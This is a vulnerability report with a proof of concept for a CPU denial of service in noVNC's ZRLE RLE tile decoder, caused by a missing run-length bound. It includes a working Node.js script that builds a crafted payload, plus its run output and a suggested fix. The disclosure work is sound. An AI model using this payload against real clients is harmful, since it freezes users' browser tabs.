ZRLE _decodeRLETile unbounded RLE length -> CPU DoS (missing i+length<=tileSize guard)
noVNC ZRLE _decodeRLETile unbounded RLE length — CPU denial of service
Identity
- Target: noVNC (current
target-src/noVNC,core/decoders/zrle.js) - Vulnerable function:
ZRLEDecoder._decodeRLETile(tileSize)(core/decoders/zrle.js:127-141) - Class: CWE-1333 / CWE-835 (uncontrolled recursion/loop — resource exhaustion via attacker-controlled iteration bound)
- Reachability: a client (browser tab / noVNC consumer) connected to a malicious VNC server
- Impact: CPU denial of service — renderer / browser tab freeze. No memory corruption (JavaScript cannot corrupt memory; out-of-range
Uint8Arraywrites are silent no-ops).
Root cause
The ZRLE RLE tile decoder (_decodeRLETile) reads a per-run length from the server and runs an
inner loop without bounding it against the tile size:
// core/decoders/zrle.js:127
_decodeRLETile(tileSize) {
const data = this._tileBuffer;
let i = 0;
while (i < tileSize) {
const pixel = this._readPixels(1);
const length = this._readRLELength(); // server-controlled
for (let j = 0; j < length; j++) { // <-- NO `if (i + length > tileSize) throw`
data[i*4] = pixel[0]; data[i*4+1] = pixel[1];
data[i*4+2] = pixel[2]; data[i*4+3] = pixel[3];
i++;
}
}
return data;
}The while-loop condition i < tileSize is only re-checked between runs, not during the inner
for. A single RLE run whose server-supplied length vastly exceeds the remaining tile therefore
runs the inner loop length times. The sister decoder _decodeRLEPaletteTile
(zrle.js:144-167) does bound the run length (if (offset + length > tileSize) throw,
zrle.js:161-162) — its absence in _decodeRLETile is the defect.
length is a varint read by _readRLELength() (zrle.js:174-181): sum of bytes while ==255, +1,
so an attacker encodes an arbitrary length up to ~2^31 with a compact run of 0xFF bytes (which
zlib-compresses to a few hundred bytes on the wire).
Proof of concept
poc.js reproduces the verbatim _decodeRLETile / _readPixels / _readRLELength against a stub
_inflator.inflate() that returns an attacker-controlled "post-zlib" byte stream: one RGB pixel
plus a varint encoding length = 100,000,000.
$ time node poc.js
tileSize=4096; crafted RLE length=100,000,000 (24414x amplification over the tile);
inflated payload=392160 bytes (zlib-compressed wire payload is far smaller).
inner for-loop ran 100,000,000 iterations in 710 ms (tile only needed 4096; the missing bound let
ONE RLE entry drive 100000000).
An attacker may set length up to 2^31-1 (~2.1e9) per entry for an effectively unbounded spin.
real 0m0.814sA single RLE entry drove 100,000,000 inner-loop iterations for a 4096-pixel tile — a 24,414×
CPU amplification from a single decoded run, and the attacker may raise length toward 2^31-1
(~2.1e9) per entry and repeat across all tiles of every framebuffer update to freeze the client
indefinitely.
Impact
- CPU DoS, client-side. A malicious VNC server (or a man-in-the-middle that injects a ZRLE framebuffer update) freezes the noVNC client / browser tab; the single-threaded JS event loop is never yielded.
- No memory corruption. JS typed-array OOB writes (
data[i*4]forifar past the 16384-byte_tileBuffer) are silently ignored — pure CPU exhaustion. - Severity: Low–Medium. Requires the victim to connect to (or be MITM'd toward) a malicious server; impact is availability only.
Suggested fix
Mirror the bound already present in _decodeRLEPaletteTile (zrle.js:161-162) in _decodeRLETile,
rejecting a run length that would overrun the tile:
const length = this._readRLELength();
if (i + length > tileSize) {
throw new Error('Too big rle length in plain mode: ' + length +
', allowed length is: ' + (tileSize - i));
}Reproduction package
poc.js— verbatim decoder + stub inflator, attacker-controlled RLE lengthrepro.sh—time node poc.jsoutput.txt— captured run (100M iterations / 710 ms)
PoC source (poc.js)
/*
* PoC: noVNC ZRLE _decodeRLETile missing `i + length <= tileSize` bound -> CPU DoS.
*
* Verbatim _decodeRLETile / _readPixels / _readRLELength from
* target-src/noVNC/core/decoders/zrle.js (noVNC, current master).
*
* Bug (zrle.js:127 _decodeRLETile):
* while (i < tileSize) {
* const pixel = this._readPixels(1);
* const length = this._readRLELength(); // server-controlled, UNcapped
* for (let j = 0; j < length; j++) { // NO `if (i+length>tileSize) throw`
* data[i*4]=...; i++;
* }
* }
* The sister _decodeRLEPaletteTile DOES guard (zrle.js:161: `if (offset+length>tileSize) throw`).
* A malicious VNC server sends a zlib payload whose inflated RLE length is huge; the inner loop
* then runs `length` times for a SINGLE tile entry, freezing the renderer / browser tab.
* Pure CPU DoS (JS cannot memory-corrupt; writes past Uint8Array are silent no-ops).
*/
'use strict';
const ZRLE_TILE_WIDTH = 64, ZRLE_TILE_HEIGHT = 64;
// Stub `_inflator.inflate(n)` that returns attacker-controlled "post-zlib" bytes.
class CraftedInflator {
constructor(bytes) { this.b = bytes; this.p = 0; }
inflate(n) { const out = this.b.slice(this.p, this.p + n); this.p += n; return out; }
}
class ZRLEDecoder {
constructor() {
this._pixelBuffer = new Uint8Array(ZRLE_TILE_WIDTH * ZRLE_TILE_HEIGHT * 4);
this._tileBuffer = new Uint8Array(ZRLE_TILE_WIDTH * ZRLE_TILE_HEIGHT * 4);
this._inflator = null;
this.iterations = 0; // PoC instrumentation only
}
// verbatim, zrle.js:83
_readPixels(pixels) {
let data = this._pixelBuffer;
const buffer = this._inflator.inflate(3 * pixels);
for (let i = 0, j = 0; i < pixels * 4; i += 4, j += 3) {
data[i] = buffer[j]; data[i+1] = buffer[j+1]; data[i+2] = buffer[j+2]; data[i+3] = 255;
}
return data;
}
// verbatim, zrle.js:174
_readRLELength() {
let length = 0, current;
do { current = this._inflator.inflate(1)[0]; length += current; } while (current === 255);
return length + 1;
}
// verbatim, zrle.js:127 (vulnerable) + iteration counter
_decodeRLETile(tileSize) {
const data = this._tileBuffer;
let i = 0;
while (i < tileSize) {
const pixel = this._readPixels(1);
const length = this._readRLELength();
for (let j = 0; j < length; j++) {
data[i*4] = pixel[0];
data[i*4+1] = pixel[1];
data[i*4+2] = pixel[2];
data[i*4+3] = pixel[3];
i++;
this.iterations++;
}
}
return data;
}
}
// Build the inflated byte stream a malicious server would emit (after zlib decompress):
// 3 bytes = one pixel (RGB)
// varint = RLE length, encoded as floor((L-1)/255) bytes of 255 then (L-1)%255
const ATTACK_LENGTH = 100000000; // 100,000,000 — inner loop count for ONE entry
const k = Math.floor((ATTACK_LENGTH - 1) / 255);
const r = (ATTACK_LENGTH - 1) - 255 * k;
const bytes = [];
for (let i = 0; i < 3; i++) bytes.push(0x41); // pixel RGB
for (let i = 0; i < k; i++) bytes.push(255); // varint continuation bytes
bytes.push(r); // varint terminator
const dec = new ZRLEDecoder();
dec._inflator = new CraftedInflator(Uint8Array.from(bytes));
const tileSize = ZRLE_TILE_WIDTH * ZRLE_TILE_HEIGHT; // 4096
console.log(`tileSize=${tileSize}; crafted RLE length=${ATTACK_LENGTH.toLocaleString()} ` +
`(${(ATTACK_LENGTH/tileSize).toFixed(0)}x amplification over the tile); ` +
`inflated payload=${bytes.length} bytes (zlib-compressed wire payload is far smaller).`);
const t0 = process.hrtime.bigint();
dec._decodeRLETile(tileSize);
const ms = Number(process.hrtime.bigint() - t0) / 1e6;
console.log(`inner for-loop ran ${dec.iterations.toLocaleString()} iterations in ${ms.toFixed(0)} ms ` +
`(tile only needed ${tileSize}; the missing bound let ONE RLE entry drive ${dec.iterations}).`);
console.log(`An attacker may set length up to 2^31-1 (~2.1e9) per entry for an effectively unbounded single-thread spin.`);
Source: novnc/noVNC